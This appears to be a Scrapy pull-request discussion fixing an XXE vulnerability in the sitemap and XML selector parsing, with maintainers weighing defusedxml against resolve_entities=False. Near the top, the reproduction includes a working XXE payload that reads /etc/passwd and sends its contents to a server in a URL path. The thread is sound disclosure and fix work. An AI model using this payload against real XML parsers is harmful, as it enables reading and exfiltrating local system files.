Fixed XXE flaw in sitemap reader

[csalazar]

The XML reader, used by SitemapSpider to process XML sitemaps, is vulnerable to an XML External Entity (XXE) attack. The code to reproduce the bug is displayed below.

test.py

from scrapy.contrib.spiders import SitemapSpider


class TestSpider(SitemapSpider):
    name = 'test'
    sitemap_urls = ['file:///tmp/malicious_sitemap.xml']

    def parse(self, response):
        pass

malicious_sitemap.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>http://127.0.0.1:8000/&xxe;</loc>
  </url>
</urlset>

As result, the contents of /etc/passwd are sent to the server http://127.0.0.1:8000/ as part of the URL path.

[dangra]

oooh, seriuos bug! is it the same for scrapy.selector.Selector on XMLResponses?

[kmike]

I wonder if we should use https://pypi.python.org/pypi/defusedxml#defusedxml-lxml

[csalazar]

@dangra yes, scrapy.selector.Selector on XMLResponses is vulnerable too.
@kmike that library would be ideal

[dangra]

@csalazar are you going to update the PR with fixes for the other Selector?

Do you mind adding a testcase specially for LxmlDocument class?

defusedxml looks good but it may require more work to integrate it, in the other hand resolve_entities=False looks quick enough to be merged soon.

[dangra]

I prefer to set resolve_entities using kwargs.setdefault() if this class is meant to be public.

[csalazar]

Yes, that seems better, I've updated the method.

[dangra]

LGTM, It deserves a hotfix release

[kmike]

Is it expanding entities like > after this change?

[csalazar]

No, no entities expanded.

[kmike]

I wonder if we can expand standard entities but disallow custom entities. This change fixes the security issue, so it is good to merge it, but is is backwards incompatible for XML selectors.

[csalazar]

Hi @kmike, I think that a valid XML file shows raw version of standard entities and not their html encoding. If you have an example, please paste it since we have to check if it breaks the XML document too.

[kmike]

I was asking about predefined XML entities like > or & - e.g. "<?xml version='1.0' encoding='ASCII'?>\n<elem>&gt;</elem>". Just tried it, and they still work fine with resolve_entities=False.